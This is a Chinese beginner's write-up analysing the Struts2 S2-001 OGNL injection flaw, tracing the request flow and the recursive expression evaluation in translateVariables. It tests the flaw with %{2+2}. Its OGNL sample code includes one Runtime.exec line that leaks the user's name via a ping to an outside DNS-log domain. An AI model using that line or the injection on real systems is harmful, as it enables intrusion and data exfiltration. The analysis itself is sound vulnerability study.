前言:

本篇文章是站在一个只会一丁点java基础,没有任何Java开发经验的的菜鸡眼中去完成的.所设计知识点繁多,杂乱,从Struts2的执行流程到漏洞Rce,适合小白看.本次分析的是Struts2-S001,版本为2.0.8

0X01:OGNL表达式

OGNL 是 Object Graphic Navigation Language (对象图导航语言)的缩写,是一个开源项目。它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法。

Struts2 中支持以下几种表达式语言:OGNL、JSTL、Groovy、Velocity。Struts 框架使用 OGNL 作为默认的表达式语言。

为什么这里要提到OGNL表达式呢?因为就是OGNL存在可以执行java代码的函数,而Struts2使用了OGNL进行开发,但是在这个过程中由于疏忽导致用户可控OGNL处理的表达式数据从而造成注入.

打个比方,就好比php里面开发者用了eval()函数,但是呢由于开发不严谨导致eval()函数的参数被用户可控了,那肯定就直接RCE了.

OGNL表达式到底怎么用呢?我们来举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.scenario.effect.impl.sw.sse.SSEBlend_SRC_OUTPeer;
import ognl.Ognl;
import ognl.OgnlContext;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class User {
private String name;
private Integer age;
public User() {
super();
}
public User(String name, Integer age) {
super();
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public static void main(String[] args) throws Exception {
User rootUser = new User("tom",18);
Map<String, User> context = new HashMap<String, User>();
context.put("user1",new User("jack",20));
context.put("user2",new User("rose",22));
OgnlContext oc = new OgnlContext();
//ognl由root和context两部分组成
oc.setRoot(rootUser);
oc.setValues(context);
//get ognl的root的值的时候,直接写希望获取的值的名字就可以了
String name = (String) Ognl.getValue("name",oc,oc.getRoot());
Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());
//get ognl非root的值的时候,需要使用#
User name1 = (User) Ognl.getValue("#context['user1']",oc,oc.getRoot());
String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());
Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());
Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());
//ognl的getValue函数可以直接执行java函数
Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot());
System.out.println(obj);
//访问静态属性和方法的时候需要使用@
Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('ping %USERNAME%.d6d10d38.toxiclog.xyz')",oc.getRoot());
}
}

这是网上看的一个OGNL表达式的使用例子,我们大致看一下就行了,重点看到

Ognl.getValue(“”,oc,getRoot())这个函数,等会儿我们分析Struts2的时候会看到他

Ognl.getValue()的第一个参数是表达式,这个表达式功能强大,按照OGNL的格式可以执行计算亦可以执行代码.

OGNL 主要有以下几种常见的使用:

  • 对于类属性的引用:Class.field
  • 方法调用: Class.method()
  • 静态方法/变量调用:@org.su18.struts.Test@test('aaa')@org.su18.struts.Constants@MY_CONSTANTS
  • 创建 java 实例对象:完整类路径:new java.util.ArrayList()
  • 创建一个初始化 List:{'a', 'b', 'c', 'd'}
  • 创建一个 Map:#@java.util.TreeMap@{'a':'aa', 'b':'bb', 'c':'cc', 'd':'dd'}
  • 访问数组/集合中的元素:#Arrays[0]
  • 访问 Map 中的元素:#Map['key']
  • OGNL 针对集合提供了一些伪属性(如size,isEmpty),让我们可以通过属性的方式来调用方法。

除了以上基础操作之外,OGNL 还支持投影、过滤:

  • 投影(把集合中所有对象的某个属性抽出来,单独构成一个新的集合对象):collection.{expression}
  • 过滤(将满足条件的对象,构成一个新的集合返回):collection.{?|^|$ expression}

其中上面 ?|^|$ 的含义如下:

  • ?:获得所有符合逻辑的元素。
  • ^:获得符合逻辑的第一个元素。
  • $:获得符合逻辑的最后一个元素。

在使用过滤操作时,通常会使用 #this,这个表达式用于代表当前正在迭代的集合中的对象。

OGNL 还支持 Lambda 表达式::[ ... ],例如计算阶乘 #f = :[#this==1?1:#this*#f(#this-1)] , #f(4)

还有使用数学运算符,使用“,”号连接表达式,in 与 not in 运算符,比较简单,不再赘述。

可以看到 OGNL表达式的功能非常强大,用户一旦可控后果不堪设想.

0X02:Struts2

百度Struts2审计已经有一大把教程使用Maven来搭建复现环境了,这里就不浪费篇章再复制粘贴一边,直接进入主题.

看到这篇文章的大家应该下面这张图大家应该已经不陌生了,他清楚的写出了Struts2的执行流程.

让我们跟着这个图来看一下这个Struts2究竟是怎么执行的.

项目目录如下:

1.Filter(过滤器)

客户端发起一个http请求,这个请求经过我们的Tomcat容器处理后首先便要经过这个巨大的黄色方框,这也就是Struts2的起点,过滤器

这个核心过滤器的配置在我们的web.xml中,它规定了我们的请求走的是哪一个过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>
org.apache.struts2.dispatcher.FilterDispatcher
</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

从配置文件中不难看出我们经过的过滤器是来自org.apache.struts2.dispatcher.FilterDispatcher类,规则是所有的请求全部经过

(url-pattern为/*)

我们来到org.apache.struts2.dispatcher.FilterDispatcher:152

首先便会获取request,response,servletContext

接着来到org.apache.struts2.dispatcher.FilterDispatcher:184

1
this.dispatcher.serviceAction(request, response, servletContext, mapping);

2.ActionProxy(动作代理)

我们跟进serviceAction()来到org.apache.struts2.dispatcher.Dispatcher:332

1
ActionProxy proxy = ((ActionProxyFactory)config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, extraContext, true, false);

在这个地方实例化ActionProxy,这个ActionProxy也就是为Struts2执行流程图中的第五步做准备

往下来到org.apache.struts2.dispatcher.Dispatcher:339,调用proxy的execute执行动作,也就是执行了Struts2流程中的ActionProxy到拦截器这一过程

根据流程图我们也可以看到现在我们来到拦截器的部分了

3.拦截器

跟进proxy.execute()后直接调用invocation.invoke(),这里面通过反射机制调用了用户action中的excute(下图中的excute)

4.执行动作

这里便是我们自己写的execute了,判断用户名和密码是否为空,如果为空则返回error

0X03:漏洞造成点

前面的一大堆只是大致了解了一下Struts2是如何工作的(这其中其实说的也不是特别详细,只是个大概,毕竟第一次接触,理解的十分不完善),网上大部分文章也没有提及,都是从下文doEndTag开始分析的,在开始分析之前我想各位应该都自己搭过环境并且复现过了,这里抛出了我的一个疑问

疑问1:为什么只有在return “error”的时候会复现成功而return “success”的时候不会呢?

这个疑问会在后面进行解答

我么们输入如下的字符串%{2+2}

经过前面一大堆Struts2的处理后来到了doEndTag和doStartTag

doStartTag是用来解析.jsp文件的函数,解析开始标签的时候会用到

doEndTag是用来解析.jsp文件的函数,解析结束标签的时候会用到

当执行到doEndTag时就代表已经解析完了对应jsp文件表单上的数据,即将传递给Struts2进行处理,那么我们就把断点下在ComponentTagSupport.class:25,看一下数据都被拿去干了啥

跟进compoent.end()

继续跟进evaluateParams()

往下看到302行(UIBean.class),此处会判断altSynatax()是否开启,也就是否允许在标签中使用表达式语法,这里默认就是True,这是很重要的.如果没开启这个就无法造成rce

然后我们就会得到一个拼接好的字符串(表达式)%{username},等等OGNL就通过这个表达式来获取表单中username的值

继续往下看到306行,跟进findValue

跟进TestPareUtil.translateVariables(),继续跟进translateVariables()

来到translateVariables()这里也是主要的漏洞代码段,我们把它单独拿出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}

可以看到改代码段是对expression的一个处理,而此时expression的值是**%{username}**

我们分析一下这段代码干了啥

可以看到32行处result=%{username}等等OGNL表达式就会解析这个%{}中的值(解析这个username),从而拿到到表单中username的值

进入34第一个while(true)

35行-38行设置了一堆flag用来遍历%{username}

看到重点代码,第40行的while循环,在这个循环中如果遍历的字符串不是以%{开头的话,start会在35行被赋值为-1,如果遍历的字符串不是以}结尾或者字符串中没有成对的{}的话,count会为1

简单的概括一下,如果输入的字符串不是形如%{xxxx}的字符串,要么count为1,要么start为-1

有什么用呢?

在第50行,如果if的条件满足将进入第51行,也就是说如果输入的字符串不是形如%{xxx}的话就会进入51行,如果是的话就会往下进行.

我们这里执行第一次循环,输入的是%{username},经过一个循环后 start=0 count=0 end=10 不满足if条件,进入下面的继续执行

来到第55行,stack.findValue(var,asType)这个时候var=username也就是%{}中的值,将username当作表达式进行解析,而OGNL表达式解析跟对象的时候直接写名字就好了,所以跟进一下看看

来到重点了,此时执行OgnlUtil.getValue(expr,this,context,this.root,asType)

前面说了,ognl的getvalue方法是可以执行代码的,只要expr为我们所控就可以,这里执行第一次解析,得到value的值为%{2+2}(因为表单中username的值是%{2+2}这里解析出来了),到现在,我们的payload出现了.

我i们往下看一下

执行完后返回,现在Object o的值为%{2+2},值的注意的是我们现在还是在translateVariables这个方法中的第一个死循环里面的,往下执行发现result已经被重新赋值了,变为了o

继续往下执行便重新这一个过程了,此时的result为我们的%{2+2},我们的%{2+2}又会被当做ognl表达式进行解析,将字符串”2+2”传递到OgnlUtil.getValue(expr,this,context,this.root,asType)中进行计算

当执行到第三次循环时,此时o已经为4(注意32行),已经无法满足需求了,start已经为-1,会直接进入第51行,结束循环

至此,整个过程已经清晰明了了,整个漏洞的核心就在于在translateVariables中反复对表达式进行解析,本来解析一层%{username}就可以了,但是开发者将username反复解析直到没有形如%{}的式子位置,那么就造成了注入,用户可控ognl的getvalue方法,从而导致执行任意命令

0X04:解决刚刚发生的问题

疑问1:为什么只有在return “error”的时候会复现成功而return “success”的时候不会呢?

我么通过分析可以发现,整个漏洞的起点是由于调用了doEndTag和doStartTag,从而解析jsp中的表达式标签.

我们发出的请求->Struts2处理->处理完毕后将结果返回jsp,在这个过程中如果返回的jsp文件存在标签,而这个标签恰巧是能够被解析的

举个例子,index.jsp中存在标签

1
2
3
4
5
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>

而success.jsp中什么都没有,只有一个h1标签

我们的逻辑是如果返回error 那么就停留在index.jsp

如果是success,那么久进入success.jsp

这个停留在index.jsp的过程,就是触发漏洞的过程

我们发起请求->Struts2处理->发现输入不符合后端判断要求,返回error->通过查询struct.xml发现返回的error需要回到index.jsp->既然页面要回到index.jsp就需要重新渲染->发现index.jsp中存在标签->调用doEndTag,doStartTag方法去解析标签->刚好此时需要获取有一个名为username的表单,我们要呈现给用户(新的index.jsp),就要先去找他有没有对应的值,而这个值是可以通过ognl获取到的(ognl.getvalue)->通过ognl.getvalue获取到了值,如果是普通用户名就显示普通用户名,如果是恶意表达式就进行计算后将结果返回到username(这也是为什么执行算术运算会在username处得到回显的原因,如果执行java代码,那么返回的o会是一个null所以没有回显)->返回新的index.jsp

而网上大多数demo的success.jsp中并没有任何标签,只是一个提示信息(例如一个h标签),根本不会触发标签渲染,所以在”发现index.jsp中存在标签“这一步就直接断掉了,根本不会执行到doStartTag,doEndTag